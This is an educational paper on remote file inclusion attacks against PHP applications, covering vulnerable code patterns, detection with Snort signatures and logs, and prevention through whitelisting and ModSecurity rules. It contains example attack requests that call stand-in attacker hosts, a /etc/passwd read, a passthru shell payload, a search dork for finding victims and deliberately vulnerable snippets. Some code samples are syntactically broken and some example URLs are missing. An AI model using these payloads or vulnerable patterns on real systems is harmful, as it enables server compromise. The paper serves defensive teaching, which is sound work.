REMOTE FILE INCLUSION ATTACK BASICS and VULNERABILITIES EXPOSED
1) Abstract
If you look at the logs of just about any production web server, you are bound to find
signs of a remote file include (RFI) attack. It is easy to disregard them as low hanging Internet
broadscan noise, but attackers would not be scanning the Internet for vulnerable hosts if they
were not also successfully exploiting them. This paper describes the mechanics of a RFI attack
by doing a code analysis and an attack walk through on a vulnerable application. Detecting an attack is discussed by writing sample IDS signatures and looking at related log files. The threat landscape is examined by taking a look at the tools attackers use to find and exploit vulnerable hosts—this is coupled with an actual attack transcript from a monitored RFI botnet. Multiple mitigation techniques are discussed ranging from secure programming practices to defenses at the network layer.
2) Introduction
Remote file inclusion (RFI) is a technique used to attack web applications from a remote computer. Remote file inclusion attacks allow malicious users to run their own code on a vulnerable web server. The attacker succeeds in running malicious code on a web page by including code from a URL located on a remote server. When an application executes the malicious code it may lead to a backdoor exploit or technical information retrieval.
The application vulnerability leading to RFI is a result of insufficient validation on user input. In order to perform proper validation of input to avoid RFI attacks, an application should check that user input doesn’t contain invalid characters
or reference to an unauthorized external location. Php is suspectible to remote file inclusion attack because it allows file system operations to automatically open URL as if they were local files (allow_url_fopen).this capability used be seemingly used for local files system using directives ‘include’ and ‘require’.
In most cases malicious code is injected into web servers using remote file inclusion attack. File inclusions are vulnerabilities in web application that allows attacker to execute script by including it in existing script. The following php code allow server to act like client and request file specified by the user:
<?php include ($_GET[page]); ? >
The following HTTP request shows how the attack is possible against that PHP code :
Index.php?page=http://www.hacker.com/c99.txt
Other type of vulnerabilities in web applications are also used including including url parsing code execution vulnerability,POST vulnerabilities and arbitrary file upload vulnerabilities. In essence the script that can be downloaded can be used to do anything it is programmed to do, with the privilege of web deamon. In past few years dozens of file inclusion have been disclosed publicaly, Effectively a web application vulnerability serve as a remote exploit for attacking a web server. In one recent case, a group kept a list of hundred of compromised web servers with their exploit commands in list of URLs reffered to them as ‘shells’.
3)Detection of RFI
Basic detection against remote file inclusion attack can be done by using google and google dorks .Google dorks is search string fingerprint of application that an attacker feed to search ebgine to get list of potential victims.
Certain google dorks are:
“inurl: index.php?page=”
Now this google dork will be matched withother URLs in database of google and whichever matches is result of search engine.
Now to this that particular site for attack we modify the original url of site.
For example:
Modified url :
if webpage is redirected to google homepage then it means we can move to other web servers from particular location therby making site vulnerable to Remote file inclusion attack.
4) Vulnerabilities
Basically there are three types of web based vulnerabilities within a web server for remote file inclusion attack.
· Exploiting variables in include fuction
· Exploiting super global array in php
· Poor coding technique
4.1) Exploiting variables in include function
Suppose URL will be
accordingly include function in php will be somewhat like
include($basepath ,” foo.php”)
now if we modify the url it would be something like :
so now the value of the variable basepath is set to c99.txt, which is the mailicious code. After the c99.txt is loaded on web server the entire server is yours and hacker can execute its own query over the webserver.
4.2) Exploiting superglobal array in php
REQUEST is the super global array in php stores all the information comes through variables from HTTP request either from GET or POST .
For example:
accordingly the request array will be modified
include($_REQUEST(‘own_me’).’/foo.php’)
hence the value of variable is changed in super global array.
is NULL BYTE that is attached to modified url so as to prevent the web server to append any of its extension like ‘.php ‘ etc.
4.3) Poor coding technique
Poor coding techniques involves bad input validation thereby leaving a loophole within the web application. For example:
if(!$page)
{
$page="data.php";
}
include ($page);
Here variable page is validated poorely using if condition that allows user to set value of $page variable and include it.
5) Basic PHP vulnerabilities
While PHP scripts are not inherently bad, the user could either inadvertently write a script that allows the vulnerability or maliciously create a script to take advantage of certain PHP functions. A web administrator may not need to worry about such scripts for the main website that he/she manages, but other users on the system which create and publish web content could create bad PHP scripts. The web server administrator must be aware of such issues with PHP so none of the pages on the system have vulnerabilities. There are two major types of PHP vulnerabilities, local and remote. The local vulnerabilities are designed such that the attack is being made on the system on which the PHP script resides. A remote vulnerability executes a PHP script on one web server, which in turn goes out to get another PHP script and then is executed on the web server. In this instance, an attacker could place a PHP script on some other server which would cause vulnerability to a web server which executed it. Then the attacker can essentially tell the web server they are trying to exploit to grab that PHP file and execute it, causing the web server to be vulnerable. Specific local and remote vulnerabilities can be found in the following sections.
5.1) Local Vulnerability
There is really one major known locally vulnerable command in PHP. This command is the $_GET[] command, which allows the user to specify arbitrary values as variables through the URL. The $_GET command will take any variable in the URL called "page" and place it in the variable $page. Then $page is used with the include command. The include command will attempt to parse whatever is in the variable $page as a PHP script. If the file does not contain PHP script, it will basically just display the contents of the file. An attacker can then specify whatever they want in the URL and it will be shown on the web page. If an attacker specifies a URL like http://www.myhost.com/index.php?page=/etc/passwd and index.php contains the above code, the attacker will see the contents of "/etc/passwd" on the screen.
5.2) Remote vulnerabilities
Another way that a PHP script can introduce vulnerability is through the use of commands which get PHP scripts from other sites for execution locally. In this scenario, an attacker can set up their own web site which hosts a PHP script that contains a vulnerable command. The attacker can then tell the web site they wish to
attack to get the vulnerable PHP script from the web site that they set up and execute it.
<?php
include($lib_dir, “./language.php”)
?>
<?php
passthru(“bin/ls/etc”); ?>
The first PHP statement listed is on the server which the attacker wants to exploit. The variable libdir is defined on the server. An attacker could modify the libdir variable to put in whatever web site they would like to visit. In this case, if libdir was set to http://attackers.website.org and languages.php existed on that server,
the server would go thttp://attackers.website.org and attempt to execute languages.php on its own server.Within languages.php is the second PHP statement shown above. The passthru command locally executes. whatever is contained in the command as a shell script. In this case, the attacker would see the result of the shell command "/bin/ls /etc".
5.3) Vulnerabilities caused by PHP configuration file
Some vulnerabilities are introduced by incorrectly or not setting certain configuration parameters for the PHP module. Certain commands are not as well known as others or may not be documented properly. Many of
these configuration parameters are known by the PHP community, but many web server administrators are not part of that community and do not know much about PHP. The configuration parameters could change and
some could be added (or removed) at any time. The web server administrator would need to keep up with all of these changes.
6) Detection of attack from Analyst point of view
An Intrusion Analyst will look for signs of an RFI attack in two log sources: The first being an IDS event (Snort in our case) and the second being the application logs from a web
server. Before Snort begins generating logs for an attack it needs to know what to look for.
6.1)IDS EVENT
alert tcp any any -> any 80 (msg:"eNetman page RFI Attempt"; \
flow:established,to_server; content:"GET "; depth:4; \
uricontent:"/enetman/html/index.php?"; uricontent:"page="; \
pcre:"/page=\s*http\:\//U"; flowbits:set,rfi; sid:200902060;)
This signature matches on any client to server traffic to TCP port 80 (HTTP) that contains a HTTP GET request for "/enetman/html/index.php" and is trying to pass a URL in the "page" parameter. Since passing an absolute URL parameter to this application is not a legitimate use case, we can be certain that a hit on this signature indicates a RFI attempt. To determine whether an attacker is trying to exploit the application, the analyst will have to examine the Snort log files for an indication such as the example log entry file.
6.2) Web Server Log
A defense-in-depth architecture maintains multiple sources and levels of logging. In this
case, an analyst can also examine web server application logs for signs of an attack. For
example, a Apache log file
attacker - - [07/Feb/2009:00:00:04 -0600] "GET
/enetman/html/index.php?page=http://remote/include_me.txt HTTP/1.1" 200 2425
The HTTP status code in conjunction with the first eNetman Snort rule allows an
additional signature to be developed that provides a further indication that an attack was successful. When the first rule fires it sets a variable called "rfi".
alert tcp any 80 -> any any (msg:"Successful RFI Attempt!"; \
flow:established,to_client; content:"200 OK"; \
flowbits:isset,rfi; sid:20090208;)
Above code checks to see if this variable is set, meaning an RFI attempt has been made; it also checks whether the response code returned by the server indicated a successful request.
7) Prevention from RFI
Prevetion from remote file inclusion consist of two approaches
7.1) Custom Prevention
7.2) Generic Prevention
7.1)Custom prevention method
This method protects a known vulnerability, in many cases a vulnerability that was already exploited by malicious users. The protection will be implemented by disallowing input of URLs in specific vulnerable parameters. But such a protection would imply a serious constraints on functionality of web application.
7.1.1) Proper coding techniques
This involves the ability of programmer to code in such a manner that it dose not leaves out any loopholes within the application
<?PHP
$page= $_GET[‘page’]
Switch($page)
{
Case : “” :
Case “home.php”:
include “home.php”;
break;
Case “about.php”:
include “about.php”;
break;
default :
echo “invalid page”;
break;
}
?>
Now only the pages mentioned within switch case wil be called thereby denying permission for any other page to be included;
7.1.2) Data validation
Data validation is done to check the input coming from any external source this is called Data validation. Common ways by which php receives untrusted data from outside world :
a)$_GET[] data received from user query string
b)$_POST[ ] data received from HTML form.
c)$COOKIES[ ] data ,sent from browser.
d)$_REQUEST[ ]data ,all above data combined into single array.
<?php
$color= ‘RED’;
$LEGAL_COLOR= {
‘RED’;
‘YELLOW’;
‘BLUE’;
‘GREEN’;
}
If(isset($_GET[ ‘color’ ]))
{
$_GET[ ‘color’]= trim($_GET[ ‘color’]);
If(inarray($_GET[‘color’], $LegalColor, true))
{
$color= $_GET[‘color’];
}
?>
The problem with mitigation of known vulnerabilities is that:
• It can only protect from already known vulnerabilities; taking such a passive approach for protecting web applications is a risk that is not recommended.
• It will not solve the RFI vulnerability in proprietary web application if there were no resources to perform code review or proper penetration testing.
7.2) Generic Prevention
When trying to use a negative security approach in order to have generic solution for the RFI attack we will try to search for a signature such as “(ht|f)tps?://”. This approach will result in many false positives since:
• There are request parameters which are used as external link (e.g. - accepts http:// as valid input).
• There are request parameters that are prone to false positives, these parameters are also addressed in this document as free text parameters. In many cases these parameters contains user input (submission of free text from the user to the application) and in other cases parameter that contains large amount of data (may include URL links that can be false detected as RFI attack).
7.2.1) Zero Day protection
A Zero-day rule can have any of the following conditions:
Searching for IP address
Using an IP address as external link may indicate an attack. And therefore a rule for detecting such a condition should search for the pattern “(ht|f)tps?://” followed by an IP address.
A typical attack using an IP address looks like:
GET /?include=http://192.0.55.2/hacker.txt HTTP/1.1
Security rule to detect such type of attacks is:
SecRule “ARGS” “@rx (ht|f)tps?://([\d\.]+)” “
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’Remote File Inclusion’ “
7.2.2) The Php function include()
We have seen many attack vectors that tries to include remote file by using injection of code typically containing the PHP keyword include.
A rule for detecting such a condition should search for “include(“ followed by “(ht|f)tps?://” A typical attack using an include PHP keyword looks like:
GET/?id={${include(“http://www.malicuos_site.com/hacker.txt“)}}{${exit()}}HTTP/1.1
Security rule to detect such type of attack is:
Sec SecRule “ARGS” “@rx\binclude\s*\([^)]*(ht|f)tps?://”
“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’Remote File
Inclusion’ :
7.2.3) Remote inclusion ends with question mark
Many of the RFI attack vectors contain at least one question mark at the end of the inclusion without any parameters following it, this is because they try to bypass applications that append information to the user input.
For example,
include( $format . ‘.php’ );
The $format is the user input and the “.php” is added as extension, appending “?” to the end of the user input eliminates the appended extension. A rule for detecting such a condition such an attack should search for “(ft|htt)ps?.*\?$”.
A typical attack looks like
GET /?include=http://www.malicuos_site.com/hacker.txt? HTTP/1.1
Security rule to prevent such type of attack is:
SecRule “ARGS” “@rx (ft|htt)ps?.*\?+$”
“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’Remote File Inclusion’.
8) Implementation Issues
Issues that need to be addressed when trying to implement the suggested rule set are:
1) Manual configuration vs. automatic learning –the positive securityprotection approach is very valuable for RFI detection; automatic learning of parameter types is a better option than the manual configuration option.
2) Automatic learning should be able to:
a). Detect URL type properly; for example detect properly URLs with and without parameter as well as decoded URLs.
b) Detect free text parameter – detect parameters that contain user free text so they can be excluded in special cases.
c. Detect changes in the application – learning of parameters should detect changes in the application (e.g
parameter that was learned as valid external link is changed to validate only internal link)
3) False positives – the suggested rule set doesn’t ensure any false positive detection. A user should choose which of the rules fit his application and which rules should be disabled.
9) Conclusion
From my personal experience using the suggested rule set reveals most of the RFI attacks and with minimal false positives. Some of the rules overlap but the reason for that is the need to make it possible to disable rules that result in false positives and still remain with a solid rules set that gives good protection for the desired web application.
